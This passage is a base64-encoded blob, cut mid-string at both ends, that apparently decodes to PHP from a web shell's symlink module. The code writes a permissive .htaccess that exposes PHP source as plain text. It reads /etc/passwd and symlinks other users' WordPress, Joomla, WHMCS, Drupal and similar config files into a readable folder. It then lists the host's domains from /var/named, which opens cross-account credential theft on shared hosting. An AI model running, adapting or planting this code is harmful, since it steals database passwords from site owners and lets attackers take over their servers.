LCJleHBsb2RlZHN5bS9yb290Iik7CiRodGFjY3NzID0gIk9wdGlvbnMgYWxsIAogRGlyZWN0b3J5SW5kZXggU3V4Lmh0bWwgCiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCAKIEFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwIAogIEFkZFR5cGUgdGV4dC9wbGFpbiAuaHRtbCAKIEFkZEhhbmRsZXIgdHh0IC5odG1sIAogUmVxdWlyZSBOb25lIAogU2F0aXNmeSBBbnkiOwogCmZpbGVfcHV0X2NvbnRlbnRzKCJleHBsb2RlZHN5bS8uaHRhY2Nlc3MiLCRodGFjY3NzKTsKJGV0YyA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL3Bhc3N3ZCIpOwokZXRjeiA9IGV4cGxvZGUoIlxuIiwkZXRjKTsKCgojI1N5bWxpbmsgdG8gdGhlIFJPT1QgOnAKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKZXJyb3JfcmVwb3J0aW5nKDApOwoKJGN1cnJlbnRfZGlyID0gcG9zaXhfZ2V0Y3dkKCk7CiRkaXIgPSBleHBsb2RlKCIvIiwkY3VycmVudF9kaXIpOwoKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93cC1jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdvcmRQcmVzcy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9ibG9nL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3dwL3dwLWNvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV29yZFByZXNzLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvd3AtY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Xb3JkUHJlc3MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvY29uZmlnLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1QaHBCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9pbmNsdWRlcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLXZCdWxsZXRpbi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1Kb29tbGEudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvd2ViL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLUpvb21sYS50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGUvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictSm9vbWxhLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NvbmZfZ2xvYmFsLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1JUEIudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jL2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictTXlCQi50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9TZXR0aW5ncy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictU01GLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3NpdGVzL2RlZmF1bHQvc2V0dGluZ3MucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLURydXBhbC50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9lMTA3X2NvbmZpZy5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictZTEwNy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kYXRhcy9jb25maWcucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVNlZGl0aW8udHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaW5jbHVkZXMvY29uZmlndXJlLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1vc0NvbW1lcmNlLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL3N1cHBvcnRlcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy9kb21haW4vY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKc3ltbGluaygnLycuJGRpclsxXS4nLycuJGV0Y2NbMF0uJy8nLiRkaXJbM10uJy93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvcG9ydGFsL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywiZXhwbG9kZWRzeW0vIi4kZXRjY1swXS4nLVdITUNTLnR4dCcpOwpzeW1saW5rKCcvJy4kZGlyWzFdLicvJy4kZXRjY1swXS4nLycuJGRpclszXS4nL2NsaWVudGFyZWEvY29uZmlndXJhdGlvbi5waHAnLCJleHBsb2RlZHN5bS8iLiRldGNjWzBdLictV0hNQ1MudHh0Jyk7CnN5bWxpbmsoJy8nLiRkaXJbMV0uJy8nLiRldGNjWzBdLicvJy4kZGlyWzNdLicvZG9tYWlucy9jb25maWd1cmF0aW9uLnBocCcsImV4cGxvZGVkc3ltLyIuJGV0Y2NbMF0uJy1XSE1DUy50eHQnKTsKfQojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwogICAgaWYoaXNfcmVhZGFibGUoIi92YXIvbmFtZWQiKSl7CiAgICBlY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKICAgIGVjaG8nPHRyPjx0ZD48Y2VudGVyPjxiPlNJVEU8L2I+PC9jZW50ZXI+PC90ZD48dGQ+CiAgICA8Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD4KICAgIDx0ZD48L2NlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKICAgICRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwogICAgZm9yZWFjaCgkbGlzdCBhcyAkZG9tYWluKXsKICAgIGlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiAgICAkaSArPSAxOwogICAgJGRvbWFpbiA9IHN0cl9yZXBsYWNlKCcuZGInLCcnLCRkb21haW4pOwogICAgJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwoKICAgIGVjaG8gIjx0cj48dGQgY2xhc3M9J3RkMSc+PGEgaHJlZj0naHR0cDovLyIuJGRvbWFpbi4iICc+Ii4kZG9tYWluLiI8L2E+PC90ZD4KICAgIDx0ZCBjbGFzcz0ndGQxJz48Y2VudGVyPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgogICAgPHRkIGNsYXNzPSd0ZDEnPjxjZW50ZXI+PGEgaHJlZj0nZXhwbG9kZWRzeW0vcm9vdCIuJG93bmVyWydkaXInXS4iLyIuJGRpclszXS4iJyB0YXJnZXQ9J19ibGFuayc+RElSPC9hPjwvY2VudGVyPjwvdGQ+IjsKICAgICAgICB9CiAgICB9CiAgICBlY2hvICI8Y2VudGVyPlRvdGFsIERvbWFpbnMgRm91bmQ6ICIuJGkuIjwvY2VudGVyPjxiciAvPiI7CiAgICB9ZWxzZXsgCiAgICBlY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPmNhbid0IHJlYWQgWyAvdmFyL25hbWVkIF08L3RkPjx0cj4iOyB9CgpicmVhazsKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKZXJyb3JfcmVwb3J0aW5nKDApOwokZXRjID0gZmlsZV9nZXRfY29udGVudHMoIi9ldGMvcGFzc3dkIik7CiRldGN6ID0gZXhwbG9kZSgiXG4iLCRldGMpOwppZihpc19yZWFkYWJsZSgiL2V0Yy9wYXNzd2QiKSl7CgplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj48Yj5TWU1MSU5LPC9iPjwvY2VudGVyPjwvdGQ+JzsKCiRsaXN0ID0gc2NhbmRpcigiL3Zhci9uYW1lZCIpOwoKZm9yZWFjaCgkZXRjeiBhcyAkZXR6KXsKJGV0Y2MgPSBleHBsb2RlKCI6IiwkZXR6KTsKCmZvcmVhY2goJGxpc3QgYXMgJGRvbWFpbil7CmlmKHN0cnBvcygkZG9tYWluLCIuZGIiKSl7CiRkb21haW4gPSBzdHJfcmVwbGFjZSgnLmRiJywnJywkZG9tYWluKTsKJG93bmVyID0gcG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCIvZXRjL3ZhbGlhc2VzLyIuJGRvbWFpbikpOwppZigkb3duZXJbJ25hbWUnXSA9PSAkZXRjY1swXSkKewokaSArPSAxOwplY2hvICI8dHI+PHRkIGNsYXNzPSd0ZDEnPjxhIGhyZWY9J2h0dHA6Ly8iLiRkb21haW4uIiAnPiIuJGRvbWFpbi4iPC9hPjwvdGQ+PGNlbnRlcj4KPHRkIGNsYXNzPSd0ZDEnPjxmb250IGNvbG9yPSdyZWQnPiIuJG93bmVyWyduYW1lJ10uIjwvZm9udD48L2NlbnRlcj48L3RkPgo8dGQgY2xhc3M9J3RkMSc+PGNlbnRlcj48YSBocmVmPSdleHBsb2RlZHN5bS9yb290Ii4kb3duZXJbJ2RpciddLiIvIi4kZGlyWzNdLiInIHRhcmdldD0nX2JsYW5rJz5ESVI8L2E+PC9jZW50ZXI+PC90ZD4iOwp9fX19CmVjaG8gIjxjZW50ZXI+VG90YWwgRG9tYWlucyBGb3VuZDogIi4kaS4iPC9jZW50ZXI+PGJyIC8+Ijt9CgpicmVhazsKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwppZihpc19yZWFkYWJsZSgiL2V0Yy9uYW1lZC5jb25mIikpewplY2hvJzx0YWJsZSBhbGlnbj0iY2VudGVyIiBib3JkZXI9IjEiIHdpZHRoPSI0NSUiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iNCIgY2xhc3M9InRkMSI+JzsKZWNobyc8dHI+PHRkPjxjZW50ZXI+PGI+U0lURTwvYj48L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPjxiPlVTRVI8L2I+PC9jZW50ZXI+PC90ZD48dGQ+PC9jZW50ZXI+PGI+U1lNTElOSzwvYj48L2NlbnRlcj48L3RkPic7CiRuYW1lZCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCIvZXRjL25hbWVkLmNvbmYiKTsKcHJlZ19tYXRjaF9hbGwoJyV6